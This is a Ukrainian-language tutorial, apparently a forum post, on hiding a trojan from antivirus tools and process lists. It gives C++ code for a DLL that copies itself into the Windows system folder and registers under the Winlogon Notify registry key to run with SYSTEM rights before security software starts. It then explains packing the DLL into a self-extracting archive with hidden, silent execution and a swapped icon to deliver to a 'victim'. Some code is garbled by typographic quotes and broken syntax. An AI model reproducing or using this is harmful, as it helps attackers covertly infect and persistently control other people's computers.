І так прошу не судити строго, це моя перша стаття

Отже, що нам потрібно від маскування трояна?

1. обхід антивірусів
2. невидимість в процесах

Почнемо з другого
для початку відмовтеся від думки ховати виконуваний файл, навіть якщо ви заховає його від таскменегера, то є купа різних утиліт дозволяють його побачити. Отже, ми прийшли до висновку що робити будемо не екзешник (забіжу вперед і скажу що після невеликих дій зрештою жертві ви будете впарювати всеж екзе файл)

Отже приступимо як зробити так, щоб наш трой не був окремим процесом та написати його у вигляді dll і попросити winlogon завантажувати його. таким чином наш код буде стартувати раніше антивірусів і фаєрволів, і мати права winloghon’a а це system.

отже приступимо (я писав в cbuildere):

#include
#include
#include
#include
#include
#pragma comment(lib,«MEMMGR.БІБЛІОТЕКА»)
#pragma hdrstop

typedef struct _WLX_NOTIFICATION_INFO
{
ULONG Size ;
ULONG Flags ;
PWSTR UserName ;
PWSTR Domain ;
PWSTR WindowStation ;
HANDLE hToken ;
HDESK hDesktop ;
int pStatusCallback ;
} WLX_NOTIFICATION_INFO, * PWLX_NOTIFICATION_INFO ;

extern «C» __declspec(dllexport) LRESULT CALLBACK load(_WLX_NOTIFICATION_INFO pinfo);
//—
#pragma argsused
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
return 1;
}
//—————————————————————————
void install(String sys)
{
TRegistry *reg = new TRegistry(KEY_WRITE);
char name[MAX_PATH];
String str;
try
{
//копіювання в системну папку
GetModuleFileName(HInstance, name, sizeof(name));
if (sys!=ExtractFileDir(name))
{
str=ExtractFileName(name);
str=sys+””+str;
CopyFile(name,str.c_str(),0);
ShellExecute((void *)0,«open»,str.c_str(),NULL,NULL,0);
ExitProcess(0);
}
//додавання в автозапуск
reg->RootKey=HKEY_LOCAL_MACHINE;
reg->OpenKey(«software»,true);
reg->OpenKey(«Microsoft»,true);
reg->OpenKey(«Windows NT»,true);
reg->OpenKey(«CurrentVersion»,true);
reg->OpenKey(«Winlogon»,true);
reg->OpenKey(«Notify»,true);
reg->OpenKey(«ms32»,true);
reg->WriteString(«DLLName»,name);
reg->WriteString(«Startup»,«load»);
reg->WriteInteger(«Impersonate»,1);
reg->WriteInteger(«Asynchronous»,1);
reg->WriteInteger(«MaxWait»,1);
}
__finally{}
reg delete;
}
//—————————————————————————
LRESULT CALLBACK load(_WLX_NOTIFICATION_INFO pinfo)
{
char sysdir[MAX_PATH];
GetSystemDirectory(sysdir,MAX_PATH);
install(sysdir);

//тут код трояна
}

ось він не складний код для вашого майбутнього коня

основна функції має приймати параметр типу “_WLX_NOTIFICATION_INFO” інакше winlogon не буде з нею працювати
(причому зовсім не обов’язково, щоб вона з ним працювала 😉 )
далі ми прописуємо в реєстрі кілька потрібних нам рядків щоб winlogon спілкувався з нашої dll.

А тепер як її перетворити в виконуваний файл (адже не понесете ж ви її до жертви у вигляді dll)
насправді це зовсім просто ми створимо sfx архів.
1. Це зменшить вагу нашого файлу в 2 рази.
2. дозволить перший раз запустити нашу конячку як exe

додаємо в архів (я користуюся winrar’ом), максимальний, sfx.
У параметрах пишемо:
шлях для розпакування %windir%
після розпакування выплнить rundll32 ім’я dll, ім’я функції(у нашому випадку load).
далі просимо приховати всі процеси
і перезаписувати без питань
міняємо іконку

і все трой готовий